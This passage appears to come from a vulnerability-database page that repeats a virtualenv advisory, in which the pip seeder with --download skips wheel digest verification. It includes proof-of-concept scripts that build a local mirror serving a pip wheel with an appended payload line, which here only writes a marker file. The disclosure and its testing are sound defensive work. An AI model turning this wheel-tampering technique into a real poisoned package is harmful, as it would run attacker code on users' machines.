            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pre-commit",
            "purl": "pkg:brew/pre-commit"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.6.2_1"
                },
                {
                  "fixed": "4.7.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-pre-commit-CVE-2026-113717",
      "modified": "2026-11-19T10:22:29Z",
      "published": "2026-10-26T09:58:25Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-SICKCHILL-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-29 21:44 – Updated: 2026-11-19 09:34 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "sickchill",
            "purl": "pkg:brew/sickchill"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2026.10.8"
                },
                {
                  "fixed": "2026.10.8_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: 